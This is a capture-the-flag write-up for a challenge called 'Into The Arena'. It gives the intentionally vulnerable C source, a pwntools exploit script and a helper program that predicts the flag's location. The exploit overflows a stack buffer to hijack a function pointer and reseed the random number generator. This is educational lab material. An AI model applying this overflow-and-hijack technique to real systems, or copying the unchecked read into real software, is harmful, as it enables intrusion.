Into The Arena
#buffer-overflow#rng-exploit#solution-only
Source
// gcc chall.c -std=c11 -o chall -O0 -fno-stack-protector -no-pie -z noexecstack
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#define ARENA_SIZE 0x0FFFFFFF
#define SECRET_SIZE 32
void challenge_loop();
void handle_client();
static uint32_t urandom32(void);
static uint32_t state;
static uint32_t offset;
static int offset_set = 0;
static int flag_fd;
static int action_count = 0;
static uint8_t *arena;
static uint32_t urandom32(void)
{
uint32_t x;
int fd = open("/dev/urandom", O_RDONLY);
read(fd, &x, sizeof(x));
close(fd);
return x;
}
__attribute__((noinline))
void handle_client()
{
if (action_count > 1000) {
write(1,
"After running around the arena for so long, you got tired, and the Retiarius escaped.\n"
"You lose.\n",
101);
exit(0);
}
action_count++;
char buf[64];
void (*reset_client)() = challenge_loop;
write(1, "Where do you wanna search? (0x...) > ", 37);
read(0, buf, 256);
uint64_t addr = strtoull(buf, NULL, 0);
if (addr >= (uint64_t)arena &&
addr + SECRET_SIZE <= (uint64_t)(arena + ARENA_SIZE)) {
write(1, (void *)addr, SECRET_SIZE);
} else {
write(1, "Only cowards leave the arena.\n", 31);
}
reset_client();
}
void challenge_loop()
{
write(1, "The Retiarius hides somewhere in the arena...\n", 46);
sleep(3); // You countdown from 3. - 3...2...1...0!
write(1, "Done!\n", 7);
state = rand();
srand(state << 0xF);
if (offset_set) {
memset((char *)(arena + offset), 0, SECRET_SIZE);
}
offset = state % (ARENA_SIZE - SECRET_SIZE - 1);
offset_set = 1;
lseek(flag_fd, 0, SEEK_SET);
read(flag_fd, (char *)(arena + offset), SECRET_SIZE);
usleep(20000);
handle_client();
}
int main(void)
{
uint32_t seed = urandom32();
srand(seed);
flag_fd = open("flag.txt", O_RDONLY);
if (flag_fd < 0)
exit(1);
arena = malloc(ARENA_SIZE);
if (!arena)
exit(1);
memset(arena, 0, ARENA_SIZE);
dprintf(1,
"Ô Secutor, try to catch that Retiarius whom (or who?idk) you heard trashtalk you.\n(ok 'whom' is correct above, but for instance we should say 'Try to catch the Retiarius WHO provoked you')\n"
"Entrance of the arena: %p\n",
arena
);
challenge_loop();
return 0;
}
Solution
#!/usr/bin/env python3
from pwn import *
import time
elf = ELF("./chall_patched")
context.aslr = False
context.binary = elf
context.log_level = "INFO"
#context.log_level = "DEBUG"
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b *0x401397
b *0x40143a
"""
def wait(t):
with log.progress(f"Wait {t} seconds") as p:
for i in range(1,t+1):
p.status(f"{i}")
sleep(1)
def get_flag_addr(arena):
context.log_level = "WARNING"
f = process("./get_flag_addr")
f.sendline(arena)
result = f.recvuntil(b'\n', drop=True)
f.close()
context.log_level = "INFO"
return result
def conn():
if args.REMOTE:
r = remote("127.0.0.1", 43721)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
r = conn()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
ru = lambda a : r.recvuntil(a)
rud = lambda a : r.recvuntil(a,drop=True)
def main():
# The address of arena is provided
ru(b'Entrance of the arena: ')
leak = int(rud(b'\n'),16)
log.debug(f"Arena: {hex(leak)}")
arena = hex(leak).encode("ascii") + b'\0'
# Exploit BOF: overwrite reset_client function pointer with address of instruction `call srand` in the challenge_loop()
offset = 0x48
payload = arena
payload = payload.ljust(offset,b'i')
payload += p64(0x401397)
# After
# write(1, (void *)addr, SECRET_SIZE);
# RDI becomes 1, then the program goes to call srand
# reseeding the random number generator
# srand(1);
# Now we can predict the next rand()
wait(3)
# Send the payload
sla(b'> ', payload)
# Run the challenge_loop again to reset the state
sla(b'> ', arena)
# A simple C program to calculate the flag position based on the arena address
flag_addr = get_flag_addr(arena)
log.debug(f"Flag address: {flag_addr.decode("ascii")}")
wait(3)
# Send the flag address
sla(b'Where do you wanna search? (0x...) > ', flag_addr)
# Enjoy the flag
flag = ru(b'}').decode("ascii")
log.success(f"Flag: {flag}")
if __name__ == "__main__":
main()
C code used to calculate flag position
// gcc -o get_flag_addr get_flag_addr.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define ARENA_SIZE 0x0FFFFFFF
#define SECRET_SIZE 32
uint8_t*
gen_rand(uint8_t *arena)
{
uint8_t *result;
uint32_t offset, state;
srand(1);
state = rand();
offset = state % (ARENA_SIZE - SECRET_SIZE - 1);
result = arena + offset;
return result;
}
int main(void)
{
uint8_t *arena;
scanf("%lx", &arena);
printf("0x%lx\n", gen_rand(arena));
return 0;
}